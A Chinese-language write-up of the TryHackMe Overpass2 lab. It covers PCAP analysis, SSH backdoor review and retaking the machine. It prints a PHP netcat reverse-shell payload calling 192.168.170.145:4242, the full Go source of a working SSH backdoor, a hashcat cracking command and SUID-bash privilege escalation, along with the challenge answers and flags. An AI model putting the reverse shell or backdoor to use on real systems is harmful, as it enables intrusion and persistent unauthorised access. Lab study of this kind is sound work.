TryHackMe Overpass2题解
简介
文章目录
- TryHackMe Overpass2题解
- 简介
- 第一关 :PCAP包分析
- What was the URL of the page they used to upload a reverse shell?
- 他们用来上传反向 shell 的页面的 URL 是什么?
- What payload did the attacker use to gain access?
- 攻击者使用了什么有效载荷来获取访问权限?
- What password did the attacker use to privesc?
- 攻击者使用什么密码来提权?
- How did the attacker establish persistence?
- 攻击者是如何建立持久性的?
- Using the fasttrack wordlist, how many of the system passwords were crackable?
- 使用 fasttrack 单词列表,有多少系统密码是可以破解的?
- 第二关 分析ssh backdoor
- What's the default hash for the backdoor?
- 后门的默认哈希是什么?
- What's the hardcoded salt for the backdoor?
- 后门的硬编码盐是什么?
- What was the hash that the attacker used? - go back to the PCAP for this!
- 攻击者使用的哈希值是什么?- 回到 PCAP 文件中查找!
- Crack the hash using rockyou and a cracking tool of your choice. What's the password?
- 使用 rockyou 和您选择的破解工具破解哈希。密码是什么?
- 第三关 冲回去根据提示重新打回去
- The attacker defaced the website. What message did they leave as a heading?
- 攻击者篡改了网站。他们留下了什么样的标题信息?
- What's the user flag?
- 用户标志是什么?
- What's the root flag?
- 根标是什么?
第一关 :PCAP包分析
What was the URL of the page they used to upload a reverse shell?
他们用来上传反向 shell 的页面的 URL 是什么?
这里下载过包之后我们看一下是URL那么使用的就是http协议我们就要去过滤http协议
答案: /development/
What payload did the attacker use to gain access?
攻击者使用了什么有效载荷来获取访问权限?
这里我们看到http协议的包还有/development/upload.php,也就是说攻击者是靠文件上传来获得权限的那么我们就看看包里面都有什么
很明显攻击者使用的是NC反向连接开启了4242端口来进行权限移植的
答案: ?php exec(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f”)?>
What password did the attacker use to privesc?
攻击者使用什么密码来提权?
攻击者使用什么密码来提权的的?这个时候再在http里面找就啥也没有了因为他已经通过TCP连接的4242端口拿到shell了
我们直接查看4242端口的信息
tcp.port==4242
通过上方的命令我们大概知道攻击者干了什么
id #查看自己目前所在的用户ID,组ID,判断自己是否拿到root权限
python3 -c 'import pty;pty.spawn("/bin/bash")' #使用python启动了一个更友好的界面以便进行更灵活的操作和交互。
ls -lAh #“ls”是列出文件和目录的命令;“-l”选项以长格式显示详细信息,包括文件权限、所有者、组、文件大小、修改时间等-A”显示除了“.”和“..”之外的所有文件和目录-h”则是以人类可读的方式显示文件大小,比如以 K、M、G 等单位来表示,而不是直接显示字节数
cat .overpass #查看了.overpass文件,我猜测他就是这一步得到的密码
答案前面又password:标识
答案 : whenevernoteartinstant
How did the attacker establish persistence?
攻击者是如何建立持久性的?
我们继续往下看,
这里执行力一个文件下载在github上下载了一个ssh-backdoor,看起来也不像是下载的好东西百度一搜
我里个豆,ssh后门,我们再继续往下看,下载完了以后他还打开了弄了一个私钥,连接的端口是2222
james@overpass-production:~$ cd ssh-backdoor
#到ssh-backdoor目录
cd ssh-backdoor
james@overpass-production:~/ssh-backdoor$ ssh-keygen
#执行文件
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/james/.ssh/id_rsa): id_rsa
id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58 james@overpass-production
The key's randomart image is:
#创建了一个私钥
+---[RSA 2048]----+
| .. . |
| . + |
| o .=. |
| . o o+. |
| + S +. |
| =.o %. |
| ..*.% =. |
| .+.X+*.+ |
| .oo=++=Eo. |
+----[SHA256]-----+
james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
#给名为“backdoor”的文件添加可执行权限
chmod +x backdoor
james@overpass-production:~/ssh-backdoor$ ./backdoor -a
#执行backdoor -a参数
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
#这个地方好像是个hach
<9d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
#ssh backdoor通过2222端口连接
SSH - 2020/07/21 20:36:56 Started SSH backdoor on 0.0.0.0:2222
#SSH(安全外壳协议)相关的信息记录,表示在 2020 年 7 月 21 日 20 时 36 分 56 秒,在所有网络接口(0.0.0.0)的 2222 端口上启动了一个 SSH 后门程序。
答案: git clone https://github.com/NinjaJc01/ssh-backdoor
Using the fasttrack wordlist, how many of the system passwords were crackable?
使用 fasttrack 单词列表,有多少系统密码是可以破解的?
这里其实已经给出答案了james这个用户我们早就知道密码了一共5个用户减去james就是四个了
答案:4
第二关 分析ssh backdoor
What’s the default hash for the backdoor?
后门的默认哈希是什么?
既然是分析ssh backdoor那我们就应该去攻击者下载的链接看一下分析一下源代码
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
//在 Go 语言中,var关键字用于声明变量。hash被声明为一个字符串类型的变量,并被初始化为一个特定的字符串值 "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
答案:bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3
What’s the hardcoded salt for the backdoor?
后门的硬编码盐是什么?
盐的英文是salt我们搜一下看看
salt搜到的都是没有用的信息but
他这个地方和最后面的一串看起来像加密的东西有点关联的样子,go语言菜菜是不会的,AI生成的注释大家自行看一下,不过像编码的只有这两个地方像
package main
import (
// 导入相关的包
"crypto/sha512"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os/exec"
"github.com/creack/pty"
"github.com/gliderlabs/ssh"
"github.com/integrii/flaggy"
gossh "golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
)
// 定义一个全局变量 hash
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
// main 函数是程序的入口点
func main() {
// 定义一些变量
var (
lport uint = 2222
lhost net.IP = net.ParseIP("0.0.0.0")
keyPath string = "id_rsa"
fingerprint string = "OpenSSH_8.2p1 Debian-4"
)
// 使用 flaggy 包来解析命令行参数
flaggy.UInt(&lport, "p", "port", "Local port to listen for SSH on")
flaggy.IP(&lhost, "i", "interface", "IP address for the interface to listen on")
flaggy.String(&keyPath, "k", "key", "Path to private key for SSH server")
flaggy.String(&fingerprint, "f", "fingerprint", "SSH Fingerprint, excluding the SSH-2.0- prefix")
flaggy.String(&hash, "a", "hash", "Hash for backdoor")
flaggy.Parse()
// 设置日志前缀
log.SetPrefix("SSH - ")
// 读取私钥文件
privKeyBytes, err := ioutil.ReadFile(keyPath)
if err!= nil {
log.Panicln("Error reading privkey:\t", err.Error())
}
// 解析私钥
privateKey, err := gossh.ParsePrivateKey(privKeyBytes)
if err!= nil {
log.Panicln("Error parsing privkey:\t", err.Error())
}
// 创建 SSH 服务器
server := &ssh.Server{
Addr: fmt.Sprintf("%s:%v", lhost.String(), lport),
Handler: sshterminal,
Version: fingerprint,
PasswordHandler: passwordHandler,
}
// 添加主机密钥
server.AddHostKey(privateKey)
// 打印启动信息
log.Println("Started SSH backdoor on", server.Addr)
// 启动 SSH 服务器并监听连接
log.Fatal(server.ListenAndServe())
}
// 验证密码是否正确
func verifyPass(hash, salt, password string) bool {
resultHash := hashPassword(password, salt)
return resultHash == hash
}
// 计算密码的哈希值
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
// SSH 命令处理函数
func sshHandler(s ssh.Session) {
command := s.RawCommand()
if command!= "" {
s.Write(runCommand(command))
return
}
term := terminal.NewTerminal(s, "$ ")
for {
command, _ = term.ReadLine()
if command == "exit" {
return
}
term.Write(runCommand(command))
}
}
// SSH 终端处理函数
func sshterminal(s ssh.Session) {
cmd := exec.Command("/bin/bash", "-i")
ptyReq, _, isPty := s.Pty()
if isPty {
cmd.Env = append(cmd.Env, fmt.Sprintf("TERM=%s", ptyReq.Term))
f, err := pty.Start(cmd)
if err!= nil {
panic(err)
}
go func() {
io.Copy(f, s) // stdin
}()
io.Copy(s, f) // stdout
cmd.Wait()
} else {
io.WriteString(s, "No PTY requested.\n")
s.Exit(1)
}
}
// 运行命令并返回结果
func runCommand(cmd string) []byte {
result := exec.Command("/bin/bash", "-c", cmd)
response, _ := result.CombinedOutput()
return response
}
// 密码验证处理函数
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
答案:1c362db832f3f864c8c2fe05f2002a05
What was the hash that the attacker used? - go back to the PCAP for this!
攻击者使用的哈希值是什么?- 回到 PCAP 文件中查找!
看到上面的哈希是不是感觉很像上面我在注释中提到的像hash的地方
答案6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
Crack the hash using rockyou and a cracking tool of your choice. What’s the password?
使用 rockyou 和您选择的破解工具破解哈希。密码是什么?
这个问题刚开始我有点懵,但是后面我突然顿悟有没有可能是破解攻击者的hash
源代码中提到 hash+salt(盐)+ password。salt(盐)是硬编码是固定的,也就是说是hash的形式是:6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05
本来想去cmd5中破解来结果收费,还是我们自己破解吧
使用hashcat破解hash
先将密码写入一个文件,在执行
hashcat -m 1710 -a 0 key.txt /usr/share/wordlists/rockyou.txt
这样我们得到密码november16
答案:november16
第三关 冲回去根据提示重新打回去
The attacker defaced the website. What message did they leave as a heading?
攻击者篡改了网站。他们留下了什么样的标题信息?
答案:H4ck3d by CooctusClan
What’s the user flag?
用户标志是什么?
因为上面给我们了用户的私钥所以我们直接连接就行,通过2222端口
连上之后我们看一看
皇天不负有心人还是让我找到了
答案: thm{d119b4fa8c497ddb0525f7ad200e6567}
咦~这个.suid_bash咋是红色的有啥提示吗
一搜可以提权,直接开干
What’s the root flag?
根标是什么?
看网上的方法直接.suid_bash -p 就可以了
让我试了半天
答案 :thm{d53b2684f169360bb9606c333873144d}